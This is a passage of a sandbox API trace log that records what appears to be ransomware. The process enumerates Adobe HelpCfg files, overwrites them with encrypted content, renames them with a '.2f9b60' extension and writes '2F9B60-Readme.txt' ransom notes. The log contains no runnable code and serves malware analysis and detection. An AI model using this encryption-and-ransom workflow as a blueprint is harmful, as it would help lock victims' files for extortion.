0x167a60 [0162.778] SetFilePointerEx (in: hFile=0x254c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.778] WriteFile (in: hFile=0x254c, lpBuffer=0x167a60*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2e23f610, lpOverlapped=0x0 | out: lpBuffer=0x167a60*, lpNumberOfBytesWritten=0x2e23f610*=0x118, lpOverlapped=0x0) returned 1 [0165.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19220 [0165.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0165.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc8f0 [0165.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc8f0) returned 1 [0165.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cddc8f0 [0165.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc8c0 [0165.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc800 [0165.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc800) returned 1 [0165.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0165.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19220) returned 1 [0165.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd86c10 [0165.168] sprintf (in: _Dest=0x1cd86c10, _Format="%c%c" | out: _Dest="43") returned 2 [0165.168] sprintf (in: _Dest=0x1cd86c12, _Format="%c%c" | out: _Dest="48") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c14, _Format="%c%c" | out: _Dest="84") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c16, _Format="%c%c" | out: _Dest="e2") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c18, _Format="%c%c" | out: _Dest="75") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c1a, _Format="%c%c" | out: _Dest="8f") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c1c, _Format="%c%c" | out: _Dest="7c") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c1e, _Format="%c%c" | out: _Dest="4c") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c20, _Format="%c%c" | out: _Dest="93") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c22, _Format="%c%c" | out: _Dest="e1") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c24, _Format="%c%c" | out: _Dest="c8") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c26, _Format="%c%c" | out: _Dest="49") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c28, _Format="%c%c" | out: _Dest="48") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c2a, _Format="%c%c" | out: _Dest="07") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c2c, _Format="%c%c" | out: _Dest="0c") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c2e, _Format="%c%c" | out: _Dest="a5") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c30, _Format="%c%c" | out: _Dest="0f") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c32, _Format="%c%c" | out: _Dest="dd") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c34, _Format="%c%c" | out: _Dest="47") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c36, _Format="%c%c" | out: _Dest="55") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c38, _Format="%c%c" | out: _Dest="35") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c3a, _Format="%c%c" | out: _Dest="50") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c3c, _Format="%c%c" | out: _Dest="22") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c3e, _Format="%c%c" | out: _Dest="1c") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c40, _Format="%c%c" | out: _Dest="d0") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c42, _Format="%c%c" | out: _Dest="de") returned 2 [0165.169] sprintf (in: _Dest=0x1cd86c44, _Format="%c%c" | out: _Dest="08") returned 2 [0165.170] sprintf (in: _Dest=0x1cd86c46, _Format="%c%c" | out: _Dest="c8") returned 2 [0165.170] sprintf (in: _Dest=0x1cd86c48, _Format="%c%c" | out: _Dest="d2") returned 2 [0165.170] sprintf (in: _Dest=0x1cd86c4a, _Format="%c%c" | out: _Dest="a1") returned 2 [0165.170] sprintf (in: _Dest=0x1cd86c4c, _Format="%c%c" | out: _Dest="0e") returned 2 [0165.170] sprintf (in: _Dest=0x1cd86c4e, _Format="%c%c" | out: _Dest="1f") returned 2 [0165.170] sprintf (in: _Dest=0x1cd86c50, _Format="%c%c" | out: _Dest="63") returned 2 [0165.170] sprintf (in: _Dest=0x1cd86c52, _Format="%c%c" | out: _Dest="25") returned 2 [0165.170] sprintf (in: _Dest=0x1cd86c54, _Format="%c%c" | out: _Dest="3e") returned 2 [0165.170] sprintf (in: _Dest=0x1cd86c56, _Format="%c%c" | out: _Dest="8e") returned 2 [0165.170] sprintf (in: _Dest=0x1cd86c58, _Format="%c%c" | out: _Dest="52") returned 2 [0165.170] sprintf (in: _Dest=0x1cd86c5a, _Format="%c%c" | out: _Dest="82") returned 2 [0165.170] RtlInitAnsiString (in: DestinationString=0x2e23f688, SourceString="434884e2758f7c4c93e1c84948070ca50fdd47553550221cd0de08c8d2a10e1f63253e8e5282" | out: DestinationString="434884e2758f7c4c93e1c84948070ca50fdd47553550221cd0de08c8d2a10e1f63253e8e5282") [0165.170] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e23f658, SourceString="434884e2758f7c4c93e1c84948070ca50fdd47553550221cd0de08c8d2a10e1f63253e8e5282", AllocateDestinationString=1 | out: DestinationString="434884e2758f7c4c93e1c84948070ca50fdd47553550221cd0de08c8d2a10e1f63253e8e5282") returned 0x0 [0165.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050d0b0 [0165.171] RtlFreeAnsiString (AnsiString="4") [0165.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86c10) returned 1 [0165.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc8f0) returned 1 [0165.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc8c0) returned 1 [0165.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167a60) returned 1 [0165.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9e8f0) returned 1 [0165.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202606b0) returned 1 [0165.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0165.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263c20) returned 1 [0165.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffa20) returned 1 [0165.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffae0) returned 1 [0165.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffb10) returned 1 [0165.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050d420 [0165.174] wcscat (in: _Dest=0x2050d420, _Source="434884e2758f7c4c93e" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\434884e2758f7c4c93e") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\434884e2758f7c4c93e" [0165.174] wcscat (in: _Dest=0x2050d420, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\434884e2758f7c4c93e.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\434884e2758f7c4c93e.2f9b60" [0165.174] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\434884e2758f7c4c93e.2f9b60", NtPathName=0x2e23f630, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\434884e2758f7c4c93e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205ee80 [0165.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ee80) returned 1 [0165.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ad8c0) returned 1 [0165.176] NtQueryInformationFile (in: FileHandle=0x254c, IoStatusBlock=0x2e23f698, FileInformation=0x2e23f6a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e23f698, FileInformation=0x2e23f6a8) returned 0x0 [0165.176] NtSetInformationFile (FileHandle=0x254c, IoStatusBlock=0x2e23f698, FileInformation=0x2e23f6a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d420) returned 1 [0165.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d0b0) returned 1 [0165.182] FlushFileBuffers (hFile=0x254c) returned 1 [0166.278] CloseHandle (hObject=0x254c) returned 1 [0200.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431e42a0 [0200.289] wcscpy (in: _Dest=0x431e42a0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\" [0200.289] wcscat (in: _Dest=0x431e42a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\2F9B60-Readme.txt" [0200.289] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\de_de\\2f9b60-readme.txt")) returned 0xffffffff [0200.289] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\de_de\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0203.951] WriteFile (in: hFile=0x4c0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2e23f550, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2e23f550*=0xba9, lpOverlapped=0x0) returned 1 [0209.365] CloseHandle (hObject=0x4c0) returned 1 [0216.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e42a0) returned 1 [0216.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508f90) returned 1 [0216.627] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0216.627] FindClose (in: hFindFile=0x1b858cd0 | out: hFindFile=0x1b858cd0) returned 1 [0216.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57b50) returned 1 [0216.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0216.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a040) returned 1 Thread: id = 1949 os_tid = 0x1144 [0135.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79e3f0 [0135.713] wcscpy (in: _Dest=0x1b79e3f0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" [0135.713] wcscat (in: _Dest=0x1b79e3f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\" [0135.713] wcscat (in: _Dest=0x1b79e3f0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*" [0135.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58780 [0135.713] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*", lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b859030 [0135.714] wcscmp (_String1=".", _String2=".") returned 0 [0135.714] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.714] wcscmp (_String1="..", _String2=".") returned 1 [0135.714] wcscmp (_String1="..", _String2="..") returned 0 [0135.714] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0135.714] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0135.714] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0135.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20509530 [0135.714] wcscpy (in: _Dest=0x20509530, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" [0135.714] wcscat (in: _Dest=0x20509530, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\" [0135.714] wcscat (in: _Dest=0x20509530, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_10.0.helpcfg" [0151.607] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\en_us\\reader_10.0.helpcfg")) returned 0x20 [0151.607] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0151.608] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\en_us\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2550 [0151.608] GetFileSizeEx (in: hFile=0x2550, lpFileSize=0x2f8bfda0 | out: lpFileSize=0x2f8bfda0*=344) returned 1 [0151.608] SetFilePointerEx (in: hFile=0x2550, liDistanceToMove=0x154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.608] ReadFile (in: hFile=0x2550, lpBuffer=0x2f8bfd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f8bfd68, lpOverlapped=0x0 | out: lpBuffer=0x2f8bfd20*, lpNumberOfBytesRead=0x2f8bfd68*=0x4, lpOverlapped=0x0) returned 1 [0151.609] SetFilePointerEx (in: hFile=0x2550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b7b9dc0 [0151.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffab0 [0151.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffb40 [0151.610] NtQuerySystemTime (in: CurrentTime=0x2f8bfc60 | out: CurrentTime=0x2f8bfc60*=132462177568186000) returned 0x0 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x2afa33d0 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x18a5154d [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x963f58e [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x39e51e83 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x37c17e65 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0xffac272 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x2d89f1e1 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x37719cd1 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x7e531878 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x6c46479a [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x77b26362 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x597dcb95 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x3ee07b5d [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x1e9574ad [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x7f944db9 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x29c766f6 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x30eef9ae [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x2e57b882 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x1b1bfd3d [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0xfef88ee [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x3e4ca333 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x12cdab70 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x558eb95 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x79288b0 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x4655f9d1 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x608f67b3 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x3aba387d [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x4f6c8574 [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x6fd0d09e [0151.610] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x19ac3d4 [0151.611] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x8f2a3f6 [0151.611] RtlRandomEx (in: Seed=0x2f8bfc50 | out: Seed=0x2f8bfc50) returned 0x32768410 [0151.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffb70 [0151.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0151.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffba0 [0151.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0151.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffb40) returned 1 [0151.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7b9dc0) returned 1 [0151.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058920 [0151.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0151.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b7b9dc0 [0151.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7b9dc0) returned 1 [0151.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425269f0 [0151.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4252a600 [0151.620] ReadFile (in: hFile=0x2550, lpBuffer=0x425269f0, nNumberOfBytesToRead=0x158, lpNumberOfBytesRead=0x2f8bfc50, lpOverlapped=0x0 | out: lpBuffer=0x425269f0*, lpNumberOfBytesRead=0x2f8bfc50*=0x158, lpOverlapped=0x0) returned 1 [0151.620] SetFilePointerEx (in: hFile=0x2550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.620] WriteFile (in: hFile=0x2550, lpBuffer=0x4252a600*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x2f8bfc54, lpOverlapped=0x0 | out: lpBuffer=0x4252a600*, lpNumberOfBytesWritten=0x2f8bfc54*=0x158, lpOverlapped=0x0) returned 1 [0162.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608c0 [0162.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a70 [0162.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260a70) returned 1 [0162.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4252a600) returned 1 [0162.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425269f0) returned 1 [0162.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0162.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058920) returned 1 [0162.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9fcb0 [0162.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058920 [0162.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0162.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a70 [0162.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260a70) returned 1 [0162.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9fef0 [0162.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a70 [0162.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611f0 [0162.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611f0) returned 1 [0162.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0162.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058920) returned 1 [0162.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x167160 [0162.788] SetFilePointerEx (in: hFile=0x2550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.788] WriteFile (in: hFile=0x2550, lpBuffer=0x167160*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2f8bfd70, lpOverlapped=0x0 | out: lpBuffer=0x167160*, lpNumberOfBytesWritten=0x2f8bfd70*=0x118, lpOverlapped=0x0) returned 1 [0164.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0164.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0164.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb000 [0164.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb000) returned 1 [0164.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cddb000 [0164.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddafd0 [0164.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaf70 [0164.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddaf70) returned 1 [0164.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0164.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd86850 [0164.818] sprintf (in: _Dest=0x1cd86850, _Format="%c%c" | out: _Dest="56") returned 2 [0164.818] sprintf (in: _Dest=0x1cd86852, _Format="%c%c" | out: _Dest="07") returned 2 [0164.818] sprintf (in: _Dest=0x1cd86854, _Format="%c%c" | out: _Dest="2a") returned 2 [0164.818] sprintf (in: 